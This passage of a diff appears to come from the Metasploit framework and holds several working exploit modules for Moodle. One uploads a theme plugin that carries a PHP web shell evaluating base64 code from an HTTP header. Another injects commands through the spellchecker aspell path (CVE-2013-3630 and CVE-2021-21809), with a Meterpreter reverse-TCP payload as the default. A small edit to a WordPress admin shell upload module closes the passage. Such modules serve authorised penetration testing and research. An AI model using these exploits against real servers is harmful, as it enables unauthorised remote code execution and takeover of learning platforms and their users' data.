'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),
OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])
]
)
end
def create_addon_file
# There are syntax errors in creating zip file. So the payload was sent as base64.
plugin_file = Rex::Zip::Archive.new
header = Rex::Text.rand_text_alpha_upper(4)
plugin_name = Rex::Text.rand_text_alpha_lower(8)
print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}")
path = "#{plugin_name}/version.php"
path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php"
# "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';")
plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{header}'])); ?>")
# plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>")
return plugin_file.pack, header, plugin_name
end
def exec_code(plugin_name, header)
# Base64 was encoded in "PHP". This process was sent as "HTTP headers".
print_status('Triggering payload')
send_request_cgi({
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"),
'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
})
end
def check
v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
# This is a feature, not a vuln, so we assume this to work on 3.0.0+
# assuming the plugin arch changed before that.
# > 3.0, < 3.9
version = Rex::Version.new(v)
if version > Rex::Version.new('3.0.0')
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
end
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
end
def exploit
v = moodle_version
fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil?
version = Rex::Version.new(v)
print_status("Authenticating as user: #{datastore['USERNAME']}")
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
cookies.each do |cookie|
cookie_jar.add(cookie)
end
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
print_status('Creating addon file')
addon_content, header, addon_name = create_addon_file
print_status('Uploading addon')
file_id, sesskey = upload_addon(addon_name, version, addon_content)
fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?
print_good('Upload Successful. Integrating addon')
ret = plugin_integration(sesskey, file_id, addon_name)
if ret.nil?
fail_with(Failure::NoAccess, 'Install not successful')
end
exec_code(addon_name, header)
print_status('Uninstalling plugin after 5 second delay so payload can change directories')
sleep(5)
remove_plugin("theme_#{addon_name}", version, sesskey)
end
def on_new_session(_)
print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')
end
end
@@ -1,155 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Moodle Remote Command Execution',
'Description' => %q{
Moodle allows an authenticated user to define spellcheck settings via the web interface.
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
By updating the path for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon spellchecking requests.
This module also allows an attacker to leverage another privilege escalation vuln.
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
as a previously unprivileged authenticated user.
This module was tested against Moodle version 2.5.2 and 2.2.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3630'],
['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen
['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => '2013-10-30',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
])
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
fail_with(Failure::Unreachable, 'No response received from the target.') unless init
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'password' => datastore["PASSWORD"]
}
print_status("Authenticating as user: " << datastore["USERNAME"])
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login/index.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 303
fail_with(Failure::NoAccess, "Login failed")
end
sess = login.get_cookies
print_status("Getting session key to update spellchecker if no session key was specified")
sesskey = ''
if datastore['SESSKEY'] == ''
tinymce = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
'cookie' => sess
})
sesskey = tinymce.get_hidden_inputs[1]['sesskey']
unless sesskey
fail_with(Failure::UnexpectedReply, "Unable to get proper session key")
end
else
sesskey = datastore['SESSKEY']
end
post = {
'section' => 'editorsettingstinymce',
'sesskey' => sesskey,
'return' => '',
's_editor_tinymce_spellengine' => 'PSpellShell',
's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
}
print_status("Updating spellchecker to use the system aspell")
post = {
'section' => 'systempaths',
'sesskey' => sesskey,
'return' => '',
's__gdversion' => '2',
's__pathtodu' => '/usr/bin/du',
's__aspellpath' => payload.encoded,
's__pathtodot' => ''
}
aspell = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
'vars_post' => post,
'cookie' => sess
})
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
print_status("Triggering payload")
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'cookie' => sess
})
if !resp or resp.code != 200
fail_with(Failure::PayloadFailed, "Error triggering payload")
end
end
end
@@ -0,0 +1,174 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle Authenticated Spelling Binary RCE',
'Description' => %q{
Moodle allows an authenticated user to define spellcheck settings via the web interface.
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
By updating the path for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon spellchecking requests.
This module also allows an attacker to leverage another privilege escalation vuln.
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
as a previously unprivileged authenticated user.
This module was tested against Moodle version 2.5.2 and 2.2.3.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' => [
['CVE', '2013-3630'],
['CVE', '2013-4341'], # XSS
['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen
['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']
],
'Payload' => {
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet python'
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2013-10-30',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/'])
]
)
end
def check
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
end
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
end
def exploit
init = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'No response received from the target.') unless init
print_status('Authenticating as user: ' << datastore['USERNAME'])
# don't use the lib version of the login since this is older and has different parameters
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'keep_cookies' => true
})
if !login || (login.code != 303)
fail_with(Failure::NoAccess, 'Login failed')
end
print_status('Getting session key to update spellchecker if no session key was specified')
sesskey = ''
if datastore['SESSKEY'] == ''
tinymce = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
'section' => 'editorsettingstinymce'
},
'keep_cookies' => true
})
sesskey = tinymce.get_hidden_inputs[1]['sesskey']
unless sesskey
fail_with(Failure::UnexpectedReply, 'Unable to get proper session key')
end
else
sesskey = datastore['SESSKEY']
end
# This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the
# time being since it may be the default, or it may just need a send_request_cgi added to actually
# accomplish the goal.
# post = {
# 'section' => 'editorsettingstinymce',
# 'sesskey' => sesskey,
# 'return' => '',
# 's_editor_tinymce_spellengine' => 'PSpellShell',
# 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
# }
print_status('Updating spellchecker to use the system aspell')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
'vars_post' => {
'section' => 'systempaths',
'sesskey' => sesskey,
'return' => '',
's__gdversion' => '2',
's__pathtodu' => '/usr/bin/du',
's__aspellpath' => payload.encoded,
's__pathtodot' => ''
},
'keep_cookies' => true
})
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
print_status('Triggering payload')
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'keep_cookies' => true
})
if !resp || (resp.code != 200)
fail_with(Failure::PayloadFailed, 'Error triggering payload')
end
end
end
@@ -0,0 +1,190 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',
'Description' => %q{
Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
An administrator can update the aspell path to include a command injection. This is extremely
similar to CVE-2013-3630, just using a different variable.
This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Adam Reiser', # Discovery
'h00die' # msf module
],
'References' => [
['CVE', '2021-21809'],
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']
],
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
'Payload' => {
'BadChars' => "'"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2021-06-22',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
]
)
end
def change_aspellpath(value = '')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' =>
{
'section' => 'systempaths'
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
res.body =~ /sesskey":"([^"]+)"/
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' =>
{
'section' => 'systempaths'
},
'vars_post' =>
{
'section' => 'systempaths',
'action' => 'save-settings',
'sesskey' => Regexp.last_match(1),
'return' => '',
's__pathtophp' => '',
's__pathtodu' => '',
's__aspellpath' => value,
's__pathtodot' => '',
's__pathtogs' => '/usr/bin/gs',
's__pathtopython' => ''
},
'keep_cookies' => true
})
end
def set_spellchecker(checker = '')
# '' is None in the gui, and is the default
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' =>
{
'section' => 'tinymcespellcheckersettings'
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
res.body =~ /sesskey":"([^"]+)"/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' =>
{
'section' => 'tinymcespellcheckersettings'
},
'vars_post' =>
{
'section' => 'tinymcespellcheckersettings',
'action' => 'save-settings',
'sesskey' => Regexp.last_match(1),
'return' => '',
's_tinymce_spellchecker_spellengine' => checker,
's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
end
def check
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
# according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation
# so maybe this is not going to get patched? Assuming 3.0.0+
if Rex::Version.new(v) > Rex::Version.new('3.0.0')
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
end
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
end
def exploit
print_status("Authenticating as user: #{datastore['USERNAME']}")
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
cookies.each do |cookie|
cookie_jar.add(cookie)
end
print_status('Updating aspell path')
# Site administration, Server, Server, System paths
change_aspellpath("`php -r \"#{payload.encoded}\" &`")
print_status('Changing spell engine to PSpellShell')
set_spellchecker('PSpellShell')
# Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
print_status('Triggering payload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'Error triggering payload') if res
end
# prefer cleanup over on_session since we may have changed things, regardless of successful exploit
def cleanup
print_status('Sleeping 5 seconds before cleanup')
Rex.sleep(5)
print_status("Authenticating as user: #{datastore['USERNAME']}")
cookie_jar.clear # clear cookies to prevent timeouts
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookies.nil? || cookies.empty?
print_bad('Failed login during cleanup')
else
cookies.each do |cookie|
cookie_jar.add(cookie)
end
print_status('Removing RCE from settings')
change_aspellpath
set_spellchecker
end
super
end
end
File diff suppressed because one or more lines are too long
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'WordPress Admin Shell Upload',
'Description' => %q{
This module will generate a plugin, pack the payload into it
and upload it to a server running WordPress providing valid
and upload it to a server running WordPress provided valid
admin credentials are used.
},
'License' => MSF_LICENSE,